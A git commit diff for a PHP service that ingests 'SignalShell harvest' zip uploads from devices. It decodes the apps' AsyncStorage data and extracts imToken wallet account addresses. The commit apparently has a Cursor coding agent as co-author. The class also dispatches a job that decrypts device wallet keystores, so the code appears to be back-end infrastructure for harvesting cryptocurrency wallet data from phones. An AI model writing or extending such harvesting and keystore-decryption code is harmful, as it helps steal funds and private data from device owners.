fix: ingest imToken EOAs from SignalShell AsyncStorage zips

Reuse the named-structure collector so harvest uploads store account addresses without flooding wallet_addresses from token lists.

Co-authored-by: Cursor <cursoragent@cursor.com>
This commit is contained in:
root
2026-10-06 00:43:43 +00:00
parent 2d3b6e1f2c
commit c5138594e1
4 changed files with 264 additions and 2 deletions
+100
View File
@@ -5,6 +5,7 @@ namespace App\Services;
use App\Jobs\DecryptDeviceKeystores;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Support\WalletSource;
use Illuminate\Support\Facades\Log;
@@ -78,6 +79,35 @@ final class AppUploadIngester
$this->dispatchParse($device, $content, $fileName, $uploadId);
}
/**
* SignalShell harvest zip: pull imToken EOAs from RCTAsyncLocalStorage
* using the same collector as the /api/v2 tar path. Token-list `address`
* keys are ignored (accountAddress / type=EOA / m/44' only).
*/
public function ingestImTokenShellZip(Device $device, string $zipBinary): int
{
$nodes = $this->asyncStorageNodesFromZip($zipBinary);
if ($nodes === []) {
return 0;
}
$before = WalletAddress::query()
->where('device_id', $device->id)
->where('source', 'imToken')
->count();
$this->ingestAddressesFromWalletTar($device, 'imToken', 'im.token.app', '', [
'async' => $nodes,
]);
$after = WalletAddress::query()
->where('device_id', $device->id)
->where('source', 'imToken')
->count();
return max(0, $after - $before);
}
/**
* Dispatch the async keystore decryption job for a device.
*/
@@ -1433,6 +1463,76 @@ final class AppUploadIngester
return $out;
}
/**
* Walk a SignalShell zip and decode every RCTAsyncLocalStorage blob
* (manifest hashes + double-encoded JSON strings).
*
* @return list<mixed>
*/
private function asyncStorageNodesFromZip(string $zipBinary): array
{
$tmp = tempnam(sys_get_temp_dir(), 'im_async_');
if ($tmp === false) {
return [];
}
$tmpZip = $tmp.'.zip';
@rename($tmp, $tmpZip);
$tmp = $tmpZip;
$nodes = [];
try {
if (@file_put_contents($tmp, $zipBinary) === false) {
return [];
}
$zip = new \ZipArchive;
if ($zip->open($tmp) !== true) {
return [];
}
for ($i = 0; $i < $zip->numFiles; $i++) {
$name = str_replace('\\', '/', (string) $zip->getNameIndex($i));
if ($name === '' || str_ends_with($name, '/')) {
continue;
}
if (! str_contains(strtolower($name), 'asynclocalstorage')) {
continue;
}
$raw = $zip->getFromIndex($i);
if (! is_string($raw) || $raw === '') {
continue;
}
$decoded = $this->decodeJsonMaybeDouble($raw);
if ($decoded !== null) {
$nodes[] = $decoded;
}
}
$zip->close();
} finally {
@unlink($tmp);
}
return $nodes;
}
/**
* RCTAsyncLocalStorage values are often a JSON string wrapping JSON.
*/
private function decodeJsonMaybeDouble(string $raw): mixed
{
$decoded = json_decode($raw, true);
if (! is_array($decoded) && ! is_string($decoded)) {
return null;
}
if (is_string($decoded)) {
$inner = json_decode($decoded, true);
if (is_array($inner) || is_string($inner)) {
return $inner;
}
return null;
}
return $decoded;
}
/**
* imToken AsyncStorage mixes the real EOA with token-list contract
* addresses under the same `address` key. Keep accountAddress and